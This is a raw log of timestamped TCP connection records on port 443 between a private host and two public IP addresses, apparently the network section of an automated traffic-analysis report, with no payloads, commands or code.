Oct 7, 2024 20:59:07.939779997 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939843893 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939882040 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.939893961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939923048 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.939959049 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.986649990 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.986772060 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.986793995 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.986886024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.986963034 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.986978054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.987032890 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.990380049 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.990470886 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.990482092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.990547895 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.990560055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.990617990 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.991276026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.991302013 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.991364002 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.991378069 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.991434097 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.991477013 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.016866922 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.016949892 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.017055988 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.017055988 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.017074108 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.017133951 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019037008 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019108057 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019119024 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019134045 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019192934 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019287109 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019354105 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019614935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019691944 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019856930 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019907951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019947052 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.019959927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019984961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.019989014 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020028114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020032883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020045042 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020066023 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020091057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020134926 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020138025 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020152092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020211935 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020306110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020359039 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020364046 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020375967 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020405054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020440102 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020452976 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020481110 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020710945 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020783901 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020802975 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020814896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020859957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020883083 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.020896912 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.020922899 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.021769047 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.021811962 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.021850109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.021864891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.021881104 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.021924973 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.021953106 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.021991968 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022022963 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022038937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022062063 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022094965 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022109032 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022129059 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022169113 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022185087 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022242069 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022335052 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022384882 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022408962 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022423029 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022463083 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022479057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022491932 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022512913 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.022520065 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022572041 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.022583961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.071070910 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.073560953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.073713064 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.073779106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.073791027 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.073836088 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.073857069 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074521065 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074594021 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074599981 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074615955 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074665070 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074696064 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074747086 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074754000 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074768066 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074789047 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074821949 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074835062 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074856043 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074903965 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074918032 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074944019 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.074975014 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.074987888 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075011015 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075045109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.075057983 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075109959 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075117111 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.075129986 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075171947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075184107 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.075197935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075248957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075256109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.075270891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.075330019 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.100094080 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100151062 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100181103 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.100193977 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100303888 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100373983 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.100373983 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.100393057 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100452900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.100548983 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.100614071 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.103224993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.103312016 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.103319883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.103351116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.103364944 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.103418112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.103418112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.103512049 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.103544950 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.122081041 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.122142076 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.122261047 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.122500896 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.122520924 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.149787903 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.149863958 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.149969101 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150187969 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150274038 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.150356054 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150505066 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150563002 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.150628090 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150811911 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.150821924 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.150885105 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.151638031 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.151662111 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.151730061 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.152195930 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.152220964 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.152282000 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.152606964 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.152640104 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.152909994 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.152945042 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.153197050 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.153218985 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.153502941 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.153520107 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.153918028 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.153949976 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.154278040 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.154295921 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.158432961 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.158446074 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.158521891 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.158677101 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.158689976 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.254710913 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.254767895 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.254859924 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.255112886 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.255134106 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.584105968 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.584494114 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.584517002 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.585932016 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.586046934 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.586328983 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.586405993 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.586456060 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.596425056 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.596606970 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.596664906 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.598126888 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.598306894 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598470926 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598470926 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598510981 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598576069 CEST	443	49744	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.598659992 CEST	49744	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598789930 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.598822117 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.598903894 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.599104881 CEST	49752	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.599121094 CEST	443	49752	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.602044106 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.602054119 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.602668047 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.602700949 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.602756977 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.602787018 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.604288101 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.604381084 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.604779959 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.604794979 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.604846954 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.604859114 CEST	443	49748	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.604918003 CEST	49748	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.604959965 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.605170012 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.605252981 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.605319023 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.605351925 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.605392933 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.605577946 CEST	49753	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.605612040 CEST	443	49753	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.605817080 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.605889082 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606235981 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606265068 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606291056 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606344938 CEST	443	49746	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.606400013 CEST	49746	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606520891 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606542110 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.606618881 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606792927 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.606837988 CEST	49754	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.606863022 CEST	443	49754	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.606884956 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607142925 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.607203960 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607235909 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607259989 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607296944 CEST	443	49743	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.607366085 CEST	49743	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607449055 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607462883 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.607526064 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607603073 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607620955 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.607780933 CEST	49755	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.607795000 CEST	443	49755	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.609042883 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.609122992 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609458923 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609474897 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609508991 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609535933 CEST	443	49747	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.609592915 CEST	49747	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609716892 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.609812975 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.609884977 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.610133886 CEST	49756	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.610174894 CEST	443	49756	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.627408028 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.627985001 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.628206015 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.628217936 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.630063057 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.630070925 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.631733894 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.631824970 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632096052 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632096052 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632126093 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632268906 CEST	443	49745	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.632337093 CEST	49745	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632334948 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632416964 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.632512093 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632662058 CEST	49757	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.632699013 CEST	443	49757	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.678136110 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.720896006 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.721100092 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.721126080 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.724757910 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.725266933 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726197004 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726227999 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726301908 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726303101 CEST	443	49750	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.726366997 CEST	49750	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726871014 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.726912022 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.727030993 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.727323055 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.727339983 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.953609943 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.953783035 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.953991890 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.954597950 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.954597950 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.954631090 CEST	443	49742	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:08.954695940 CEST	49742	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:08.956165075 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.956480026 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.956511974 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.957948923 CEST	443	49749	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:08.958058119 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.959476948 CEST	49749	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:08.959562063 CEST	443	49749	152.199.21.175	192.168.2.16
